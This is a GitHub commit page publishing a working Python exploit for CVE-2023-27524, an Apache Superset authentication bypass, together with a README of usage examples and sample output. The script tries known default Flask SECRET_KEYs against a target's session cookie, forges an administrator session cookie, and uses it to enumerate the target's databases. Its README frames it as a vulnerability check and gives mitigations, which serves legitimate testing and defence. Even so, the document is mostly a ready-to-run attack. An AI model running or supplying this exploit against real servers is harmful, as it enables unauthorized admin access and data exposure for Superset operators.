Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
nvn1729 authored Apr 25, 2023
1 parent 5b9a230 commit 95d90bb
Show file tree
Hide file tree
Showing 3 changed files with 198 additions and 0 deletions.
128 changes: 128 additions & 0 deletions CVE-2023-27524.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,128 @@
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]

def main():

parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
args = parser.parse_args()

try:
u = args.url.rstrip('/') + '/login/'

headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}

resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return

session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break

if not session_cookie:
print('Error: No session cookie found')
return

print(f'Got session cookie: {session_cookie}')

try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return

match = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'

print(f'Superset Version: {version}')


for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break

if not cracked:
print('Failed to crack session cookie')
return

print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

try:
user_id = int(args.id)
except:
user_id = args.id

forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')

if args.validate:
try:
headers['Cookie'] = f'session={forged_cookie}'
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
sleep(args.timeout)
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code == 302:
print(f'Got 302 on login, forged cookie appears to have been accepted')
validated = True
else:
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
except Exception as e_inner:
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')

if not validated:
return

print('Enumerating databases')
for i in range(1, 101):
database_url_base = args.url.rstrip('/') + '/api/v1/database'
try:
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
if r.status_code == 200:
result = r.json()['result'] # validate response is JSON
name = result['database_name']
print(f'Found database {name}')
elif r.status_code == 404:
print(f'Done enumerating databases')
break # no more databases
else:
print(f'Unexpected error: status code={r.status_code}')
break
except Exception as e_inner:
print(f'Unexpected error: {e_inner}')
break


except Exception as e:
print(f'Unexpected error: {e}')


if __name__ == '__main__':
main()
68 changes: 68 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
# CVE-2023-27524: Apache Superset Auth Bypass
Script to check if an Apache Superset server is running with an insecure default configuration (CVE-2023-27524). The script checks if a Superset server's session cookies are signed with any well-known default Flask SECRET_KEYs.

The `--validate` flag can be used to validate the Superset server exploitability by enumerating databases using the Superset API.

## Blog Post
More details here:
https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset

## Usage

```
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help show this help message and exit
--url URL, -u URL Base URL of Superset instance
--id ID User ID to forge session cookie for, default=1
--validate, -v Validate login
--timeout TIMEOUT, -t TIMEOUT
Time to wait before using forged session cookie, default=5s
```

## Basic Example

```
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
```

## Example with Proof of Exploitability

```
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
```

## Troubleshooting
If the script detects a SECRET_KEY in use but is not able to validate exploitability, it could be because:
- target server is integrated with SSO and user ids don't follow the auto-increment format (try the `--id` argument to set a specific user_id if you know it)
- no user has been configured yet
- time drift between target and your machine. Flask session cookies are signed with a timestamp element. Try increasing the 5 second sleep interval in code.

## Mitigations
Follow the [instructions here](https://superset.apache.org/docs/installation/configuring-superset/) to generate and configure a Flask SECRET_KEY. The `superset` CLI tool can be used to [rotate the SECRET_KEY](https://superset.apache.org/docs/installation/configuring-superset/#secret_key-rotation) so that existing database connection information is preserved.

## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:
* [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
* [James Horseman](https://twitter.com/JamesHorseman2)
* [Zach Hanley](https://twitter.com/hacks_zach)

## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
2 changes: 2 additions & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
flask-unsign==1.2.0
requests==2.26.0

0 comments on commit 95d90bb

Please sign in to comment.